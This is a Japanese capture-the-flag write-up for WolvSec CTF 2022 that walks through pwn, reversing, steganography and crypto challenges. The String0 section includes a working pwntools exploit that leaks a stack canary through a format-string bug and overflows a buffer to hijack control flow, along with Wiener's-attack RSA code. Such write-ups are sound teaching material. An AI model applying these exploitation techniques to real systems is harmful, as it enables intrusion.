WolvSec CTF Writeup

この大会は2022/3/26 1:00(JST)~2022/3/28 7:00(JST)に開催されました。
今回もチームで参戦。結果は5748点で516チーム中22位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (Misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

wsc{w3lc0m3_70_0ur_d15c0rd}

String0 (PWN)

$ file string0
string0: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=99feb550435d240c52a4bb38b4f31c300fd2337a, with debug_info, not stripped

$ checksec --file string0
[*] '/mnt/hgfs/Shared/string0'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Ghidraでデコンパイルする。

int main(void)

{
  vuln();
  return 1;
}

void vuln(void)

{
  int iVar1;
  int in_GS_OFFSET;
  char buffer0 [16];
  
  iVar1 = *(int *)(in_GS_OFFSET + 0x14);
  setup();
  buffer0._0_4_ = 0;
  buffer0._4_4_ = 0;
  buffer0._8_4_ = 0;
  buffer0._12_4_ = 0;
  puts("What is your favorite format string?");
  __isoc99_scanf(&DAT_0804a02d,buffer0);
  printf(buffer0);
  puts("");
  puts("What is your favorite overflow?");
  __isoc99_scanf(&DAT_0804a02d,buffer0);
  if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

void print_flag(void)

{
  char flag [32];
  
  flag._0_4_ = 0x7b637377;
  flag._4_4_ = 0x53494854;
  flag._8_4_ = 0x5f53495f;
  flag._12_4_ = 0x5f544f4e;
  flag._16_4_ = 0x5f454854;
  flag._20_4_ = 0x4c414552;
  flag._24_4_ = 0x414c465f;
  flag._28_4_ = 0x7d2147;
  puts(flag);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

FSBを使ってcanaryをLeakし、canaryを壊さないようにしてBOFでprint_flag関数を実行する。

$ ./string0
What is your favorite format string?
A
A
What is your favorite overflow?
AAAAAAAAAAAAAAAA

$ ./string0
What is your favorite format string?
A
A
What is your favorite overflow?
AAAAAAAAAAAAAAAAA
*** stack smashing detected ***: terminated
中止 (コアダンプ)

16バイトの入力の後、canaryがある。

$ gdb -q ./string0
Reading symbols from ./string0...done.
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0804927d <+0>:	push   ebp
   0x0804927e <+1>:	mov    ebp,esp
   0x08049280 <+3>:	push   ebx
   0x08049281 <+4>:	sub    esp,0x24
   0x08049284 <+7>:	call   0x80490f0 <__x86.get_pc_thunk.bx>
   0x08049289 <+12>:	add    ebx,0x2d77
   0x0804928f <+18>:	mov    eax,gs:0x14
   0x08049295 <+24>:	mov    DWORD PTR [ebp-0xc],eax
   0x08049298 <+27>:	xor    eax,eax
   0x0804929a <+29>:	call   0x80491b2 <setup>
   0x0804929f <+34>:	mov    DWORD PTR [ebp-0x1c],0x0
   0x080492a6 <+41>:	mov    DWORD PTR [ebp-0x18],0x0
   0x080492ad <+48>:	mov    DWORD PTR [ebp-0x14],0x0
   0x080492b4 <+55>:	mov    DWORD PTR [ebp-0x10],0x0
   0x080492bb <+62>:	sub    esp,0xc
   0x080492be <+65>:	lea    eax,[ebx-0x1ff8]
   0x080492c4 <+71>:	push   eax
   0x080492c5 <+72>:	call   0x8049050 <puts@plt>
   0x080492ca <+77>:	add    esp,0x10
   0x080492cd <+80>:	sub    esp,0x8
   0x080492d0 <+83>:	lea    eax,[ebp-0x1c]
   0x080492d3 <+86>:	push   eax
   0x080492d4 <+87>:	lea    eax,[ebx-0x1fd3]
   0x080492da <+93>:	push   eax
   0x080492db <+94>:	call   0x8049090 <__isoc99_scanf@plt>
   0x080492e0 <+99>:	add    esp,0x10
   0x080492e3 <+102>:	sub    esp,0xc
   0x080492e6 <+105>:	lea    eax,[ebp-0x1c]
   0x080492e9 <+108>:	push   eax
   0x080492ea <+109>:	call   0x8049030 <printf@plt>
   0x080492ef <+114>:	add    esp,0x10
   0x080492f2 <+117>:	sub    esp,0xc
   0x080492f5 <+120>:	lea    eax,[ebx-0x1fd0]
   0x080492fb <+126>:	push   eax
   0x080492fc <+127>:	call   0x8049050 <puts@plt>
   0x08049301 <+132>:	add    esp,0x10
   0x08049304 <+135>:	sub    esp,0xc
   0x08049307 <+138>:	lea    eax,[ebx-0x1fcc]
   0x0804930d <+144>:	push   eax
   0x0804930e <+145>:	call   0x8049050 <puts@plt>
   0x08049313 <+150>:	add    esp,0x10
   0x08049316 <+153>:	sub    esp,0x8
   0x08049319 <+156>:	lea    eax,[ebp-0x1c]
   0x0804931c <+159>:	push   eax
   0x0804931d <+160>:	lea    eax,[ebx-0x1fd3]
   0x08049323 <+166>:	push   eax
   0x08049324 <+167>:	call   0x8049090 <__isoc99_scanf@plt>
   0x08049329 <+172>:	add    esp,0x10
   0x0804932c <+175>:	nop
   0x0804932d <+176>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08049330 <+179>:	xor    eax,DWORD PTR gs:0x14
   0x08049337 <+186>:	je     0x804933e <vuln+193>
   0x08049339 <+188>:	call   0x80493e0 <__stack_chk_fail_local>
   0x0804933e <+193>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x08049341 <+196>:	leave  
   0x08049342 <+197>:	ret    
End of assembler dump.
gdb-peda$ b *0x08049329
Breakpoint 1 at 0x8049329: file format0.c, line 30.
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/string0 
What is your favorite format string?
AAAA
AAAA
What is your favorite overflow?
BCDEFGHIJKLMNOP

[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x804c000 --> 0x804bf08 --> 0x1 
ECX: 0x1 
EDX: 0xf7fb289c --> 0x0 
ESI: 0xf7fb1000 --> 0x1d7d8c 
EDI: 0x0 
EBP: 0xffffcfc8 --> 0xffffcfd8 --> 0x0 
ESP: 0xffffcf90 --> 0x804a02d --> 0x7325 ('%s')
EIP: 0x8049329 (<vuln+172>:	add    esp,0x10)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804931d <vuln+160>:	lea    eax,[ebx-0x1fd3]
   0x8049323 <vuln+166>:	push   eax
   0x8049324 <vuln+167>:	call   0x8049090 <__isoc99_scanf@plt>
=> 0x8049329 <vuln+172>:	add    esp,0x10
   0x804932c <vuln+175>:	nop
   0x804932d <vuln+176>:	mov    eax,DWORD PTR [ebp-0xc]
   0x8049330 <vuln+179>:	xor    eax,DWORD PTR gs:0x14
   0x8049337 <vuln+186>:	je     0x804933e <vuln+193>
[------------------------------------stack-------------------------------------]
0000| 0xffffcf90 --> 0x804a02d --> 0x7325 ('%s')
0004| 0xffffcf94 --> 0xffffcfac ("BCDEFGHIJKLMNOP")
0008| 0xffffcf98 --> 0xffffcfc8 --> 0xffffcfd8 --> 0x0 
0012| 0xffffcf9c --> 0x804929f (<vuln+34>:	mov    DWORD PTR [ebp-0x1c],0x0)
0016| 0xffffcfa0 --> 0xf7fb13fc --> 0xf7fb2200 --> 0x0 
0020| 0xffffcfa4 --> 0x0 
0024| 0xffffcfa8 --> 0x0 
0028| 0xffffcfac ("BCDEFGHIJKLMNOP")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08049329 in vuln () at format0.c:30
30	format0.c: そのようなファイルやディレクトリはありません.
gdb-peda$ x/32wx $esp
0xffffcf90:	0x0804a02d	0xffffcfac	0xffffcfc8	0x0804929f
0xffffcfa0:	0xf7fb13fc	0x00000000	0x00000000	0x45444342
0xffffcfb0:	0x49484746	0x4d4c4b4a	0x00504f4e	0x70638200
0xffffcfc0:	0xf7fe5970	0x00000000	0xffffcfd8	0x08049358
0xffffcfd0:	0xf7fb1000	0xf7fb1000	0x00000000	0xf7df1fa1
0xffffcfe0:	0x00000001	0xffffd074	0xffffd07c	0xffffd004
0xffffcff0:	0x00000001	0x00000000	0xf7fb1000	0xf7fe571a
0xffffd000:	0xf7ffd000	0x00000000	0xf7fb1000	0x00000000

11番目がcanary。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('107.191.51.129', 5001)
else:
    p = process('./string0')

elf = ELF('./string0')

print_flag_addr = elf.symbols['print_flag']

payload = '%11$p'
data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload.encode())
data = p.recvline().rstrip().decode()
print(data)
canary = p32(int(data, 16))

payload = b'A' * 16
payload += canary
payload += b'B' * 12
payload += p32(print_flag_addr)
data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to 107.191.51.129 on port 5001: Done
[*] '/mnt/hgfs/Shared/string0'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
What is your favorite format string?
%11$p
0xf4066e00
What is your favorite overflow?
b'AAAAAAAAAAAAAAAA\x00n\x06\xf4BBBBBBBBBBBB\x0f\x92\x04\x08'
wsc{W3_w4nt_m0R3_PWNS!}
[*] Closed connection to 107.191.51.129 port 5001
wsc{W3_w4nt_m0R3_PWNS!}

babyre0 (Reverse)

$ strings babyre0 | grep wsc
wsc{juST_a_b4By_RE!}
wsc{juST_a_b4By_RE!}

babyre1 (Reverse)

Ghidraでデコンパイルする。

void encode(char *input)

{
  size_t sVar1;
  char result;
  int i;
  
  i = 0;
  while( true ) {
    sVar1 = strlen(input);
    if (sVar1 <= (ulong)(long)i) break;
    putchar((int)(char)(input[i] ^ 0x3b));
    i = i + 1;
  }
  return;
}

                             FLAG                                            XREF[1]:     Entry Point(*)  
        00104060 4c 48 58        char[38]   »LHX@bNdId\OO U\dOSdSU\d]dosrhF«
                 40 62 0b 
                 4e 64 0f 
           00104060 [0]            'L', 'H', 'X', '@'
           00104064 [4]            'b','\v', 'N', 'd'
           00104068 [8]            0Fh, 'I','\b', 'd'
           0010406c [12]          '\\','\b', 'O', 'O'
           00104070 [16]          '\n', 'U','\\', 'd'
           00104074 [20]           'O', 'S','\b', 'd'
           00104078 [24]           'S', 0Fh, 'U','\\'
           0010407c [28]           'd','\v', ']', 'd'
           00104080 [32]           'o', 's', 'r', 'h'
           00104084 [36]           1Ah, 'F'

gdbでFLAGの暗号化文字列を確認する。

$ gdb -q ./babyre1
Reading symbols from ./babyre1...done.
gdb-peda$ x/40x FLAG
0x4060 <FLAG>:	0x4c	0x48	0x58	0x40	0x62	0x0b	0x4e	0x64
0x4068 <FLAG+8>:	0x0f	0x49	0x08	0x64	0x5c	0x08	0x4f	0x4f
0x4070 <FLAG+16>:	0x0a	0x55	0x5c	0x64	0x4f	0x53	0x08	0x64
0x4078 <FLAG+24>:	0x53	0x0f	0x55	0x5c	0x64	0x0b	0x5d	0x64
0x4080 <FLAG+32>:	0x6f	0x73	0x72	0x68	0x1a	0x46	0x00	0x00

この値と0x3bとXORを取ればフラグを復号できる。

#!/usr/bin/env python3
enc = [0x4c, 0x48, 0x58, 0x40, 0x62, 0x0b, 0x4e, 0x64, 0x0f, 0x49, 0x08, 0x64,
    0x5c, 0x08, 0x4f, 0x4f, 0x0a, 0x55, 0x5c, 0x64, 0x4f, 0x53, 0x08, 0x64,
    0x53, 0x0f, 0x55, 0x5c, 0x64, 0x0b, 0x5d, 0x64, 0x6f, 0x73, 0x72, 0x68,
    0x1a, 0x46]

flag = ''
for c in enc:
    flag += chr(c ^ 0x3b)
print(flag)
wsc{Y0u_4r3_g3tt1ng_th3_h4ng_0f_THIS!}

Forensics...kinda (Forensics)

$ zsteg Forensics_kinda.png 
b1,rgb,lsb,xy       .. text: "wsc{g0_blu3}"
b2,r,msb,xy         .. text: ["U" repeated 248 times]
b2,g,msb,xy         .. text: "uUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"
b2,b,msb,xy         .. text: ["U" repeated 248 times]
b2,rgb,msb,xy       .. text: ["U" repeated 232 times]
b2,bgr,msb,xy       .. text: ["U" repeated 232 times]
b2,abgr,msb,xy      .. text: ["W" repeated 224 times]
b3,abgr,msb,xy      .. file: AIX core file fulldump 64-bit
b4,r,msb,xy         .. text: ["w" repeated 240 times]
b4,g,msb,xy         .. text: ["w" repeated 240 times]
b4,b,msb,xy         .. file: MPEG ADTS, layer I, v2, Monaural
b4,rgb,msb,xy       .. text: ["w" repeated 208 times]
b4,bgr,msb,xy       .. file: MPEG ADTS, layer I, v2, 24 kHz, Monaural
wsc{g0_blu3}

ANYTHING (Crypto)

Vigenere暗号。https://www.dcode.fr/vigenere-cipherで復号する。鍵は「ANYTHING」を使う。

wsc{vigenere_not_bad}

RSA With The Dogs (Crypto)

eが非常に大きいため、Wiener's Attackで復号する。

#!/usr/bin/env sage
from Crypto.Util.number import *

def wiener(e, n):
    m = 12345
    c = pow(m, e, n)
    q0 = 1

    list1 = continued_fraction(Integer(e)/Integer(n))
    conv = list1.convergents()
    for i in conv:
        k = i.numerator()
        q1 = i.denominator()

        for r in range(30):
            for s in range(30):
                d = r*q1 + s*q0
                m1 = pow(c, d, n)
                if m1 == m:
                    return d
        q0 = q1
    return None

n = 80958280137410344469270793621735550547403923964041971008952114628165974409360380289792220885326992426579868790128162893145613324338067958789899179419581085862309223717281585829617191377490590947730109453817502130283318153315193437990052156404947863059961976057429879645314342452813233368655425822274689461707
e = 3575901247532182907389411227211529824636724376722157756567776602226084740339294992167070515627141715229879280406393029563498781044157896403506408797685517148091205601955885898295742740813509895317351882951244059944509598074900130252149053360447229439583686319853300112906033979011695531155686173063061146739
c = 80629080505342932586166479028264765764709326746119909040860609021743893395577080637958779561184335633322859567681317501709922573784403504695809067898870536224427948000498261469984511352960143456934810825186736399371084350678586129000118485271831798923746976704036847707653422361120164687989605124465224952493

d = wiener(e, n)
m = int(pow(c, d, n))

flag = long_to_bytes(m).decode()
print(flag)
wsc{w13n3r5_wer3_bre4d_t0_hunt_b4dger5!}